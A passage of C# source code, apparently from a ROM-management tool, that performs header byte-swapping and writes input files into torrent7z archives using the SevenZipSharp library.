(byte)(b & 1); s--; } r <<= s; buffer[pos] = (byte)r; break; case HeaderSkipOperation.Byteswap: if (pos % 2 == 1) { buffer[pos - 1] = b; } if (pos % 2 == 0) { buffer[pos + 1] = b; } break; case HeaderSkipOperation.Wordswap: buffer[3 - pos] = b; break; case HeaderSkipOperation.WordByteswap: buffer[(pos + 2) % 4] = b; break; case HeaderSkipOperation.None: default: buffer[pos] = b; break; } // Set the buffer position to default write to pos = (pos + 1) % 4; // If we filled a buffer, flush to the stream if (pos == 0) { bw.Write(buffer); bw.Flush(); buffer = new byte[4]; } } // If there's anything more in the buffer, write only the left bits for (int i = 0; i < pos; i++) { bw.Write(buffer[i]); } } } catch (Exception ex) { Globals.Logger.Error(ex.ToString()); return(false); } finally { // If we're not keeping the read stream open, dispose of the binary reader if (!keepReadOpen) { br?.Dispose(); } // If we're not keeping the write stream open, dispose of the binary reader if (!keepWriteOpen) { bw?.Dispose(); } } return(success); }
/// <summary> /// Write a set of input files to a torrent7z archive (assuming the same output archive name) /// </summary> /// <param name="inputFiles">Input files to be moved</param> /// <param name="outDir">Output directory to build to</param> /// <param name="rom">DatItem representing the new information</param> /// <param name="date">True if the date from the DAT should be used if available, false otherwise (default)</param> /// <param name="romba">True if files should be output in Romba depot folders, false otherwise</param> /// <returns>True if the archive was written properly, false otherwise</returns> public override bool Write(List <string> inputFiles, string outDir, List <Rom> roms, bool date = false, bool romba = false) { bool success = false; string tempFile = Path.Combine(outDir, "tmp" + Guid.NewGuid().ToString()); // If either list of roms is null or empty, return if (inputFiles == null || roms == null || inputFiles.Count == 0 || roms.Count == 0) { return(success); } // If the number of inputs is less than the number of available roms, return if (inputFiles.Count < roms.Count) { return(success); } // If one of the files doesn't exist, return foreach (string file in inputFiles) { if (!File.Exists(file)) { return(success); } } // Get the output archive name from the first rebuild rom string archiveFileName = Path.Combine(outDir, Utilities.RemovePathUnsafeCharacters(roms[0].MachineName) + (roms[0].MachineName.EndsWith(".7z") ? "" : ".7z")); // Set internal variables SevenZipBase.SetLibraryPath("7za.dll"); SevenZipExtractor oldZipFile; SevenZipCompressor zipFile; try { // If the full output path doesn't exist, create it if (!Directory.Exists(Path.GetDirectoryName(archiveFileName))) { Directory.CreateDirectory(Path.GetDirectoryName(archiveFileName)); } // If the archive doesn't exist, create it and put the single file if (!File.Exists(archiveFileName)) { zipFile = new SevenZipCompressor() { ArchiveFormat = OutArchiveFormat.SevenZip, CompressionLevel = CompressionLevel.Normal, }; // Map all inputs to index Dictionary <string, int> inputIndexMap = new Dictionary <string, int>(); for (int i = 0; i < inputFiles.Count; i++) { inputIndexMap.Add(roms[i].Name.Replace('\\', '/'), i); } // Sort the keys in TZIP order List <string> keys = inputIndexMap.Keys.ToList(); keys.Sort(ZipFile.TorrentZipStringCompare); // Create the temp directory string tempPath = Path.Combine(outDir, Guid.NewGuid().ToString()); if (!Directory.Exists(tempPath)) { Directory.CreateDirectory(tempPath); } // Now add all of the files in order foreach (string key in keys) { string newkey = Path.Combine(tempPath, key); File.Move(inputFiles[inputIndexMap[key]], newkey); zipFile.CompressFiles(tempFile, newkey); File.Move(newkey, inputFiles[inputIndexMap[key]]); // After the first file, make sure we're in append mode zipFile.CompressionMode = CompressionMode.Append; } Utilities.CleanDirectory(tempPath); Utilities.TryDeleteDirectory(tempPath); } // Otherwise, sort the input files and write out in the correct order else { // Open the old archive for reading using (oldZipFile = new SevenZipExtractor(archiveFileName)) { // Map all inputs to index Dictionary <string, int> inputIndexMap = new Dictionary <string, int>(); for (int i = 0; i < inputFiles.Count; i++) { // If the old one contains the new file, then just skip out if (oldZipFile.ArchiveFileNames.Contains(roms[i].Name.Replace('\\', '/'))) { continue; } inputIndexMap.Add(roms[i].Name.Replace('\\', '/'), -(i + 1)); } // Then add all of the old entries to it too for (int i = 0; i < oldZipFile.FilesCount; i++) { inputIndexMap.Add(oldZipFile.ArchiveFileNames[i], i); } // If the number of entries is the same as the old archive, skip out if (inputIndexMap.Keys.Count <= oldZipFile.FilesCount) { success = true; return(success); } // Otherwise, process the old zipfile zipFile = new SevenZipCompressor() { ArchiveFormat = OutArchiveFormat.SevenZip, CompressionLevel = CompressionLevel.Normal, }; // Get the order for the entries with the new file List <string> keys = inputIndexMap.Keys.ToList(); keys.Sort(ZipFile.TorrentZipStringCompare); // Copy over all files to the new archive foreach (string key in keys) { // Get the index mapped to the key int index = inputIndexMap[key]; // If we have the input file, add it now if (index < 0) { FileStream inputStream = Utilities.TryOpenRead(inputFiles[-index - 1]); // Create a stream dictionary Dictionary <string, Stream> dict = new Dictionary <string, Stream>(); dict.Add(key, inputStream); // Now add the stream zipFile.CompressStreamDictionary(dict, tempFile); } // Otherwise, copy the file from the old archive else { Stream oldZipFileEntryStream = new MemoryStream(); oldZipFile.ExtractFile(index, oldZipFileEntryStream); oldZipFileEntryStream.Seek(0, SeekOrigin.Begin); // Create a stream dictionary Dictionary <string, Stream> dict = new Dictionary <string, Stream>(); dict.Add(oldZipFile.ArchiveFileNames[index], oldZipFileEntryStream); // Now add the stream zipFile.CompressStreamDictionary(dict, tempFile); oldZipFileEntryStream.Dispose(); } // After the first file, make sure we're in append mode zipFile.CompressionMode = CompressionMode.Append; } } } success = true; } catch (Exception ex) { Console.WriteLine(ex); success = false; } // If the old file exists, delete it and replace if (File.Exists(archiveFileName)) { Utilities.TryDeleteFile(archiveFileName); } File.Move(tempFile, archiveFileName); // Now make the file T7Z // TODO: Add ACTUAL T7Z compatible code BinaryWriter bw = new BinaryWriter(Utilities.TryOpenReadWrite(archiveFileName)); bw.Seek(0, SeekOrigin.Begin); bw.Write(Constants.Torrent7ZipHeader); bw.Seek(0, SeekOrigin.End); using (oldZipFile = new SevenZipExtractor(Utilities.TryOpenReadWrite(archiveFileName))) { // Get the correct signature to use (Default 0, Unicode 1, SingleFile 2, StripFileNames 4) byte[] tempsig = Constants.Torrent7ZipSignature; if (oldZipFile.FilesCount > 1) { tempsig[16] = 0x2; } else { tempsig[16] = 0; } bw.Write(tempsig); bw.Flush(); bw.Dispose(); } return(true); }
/// <inheritdoc /> /// <summary> /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. /// </summary> public void Dispose() { _binaryWriter?.Dispose(); }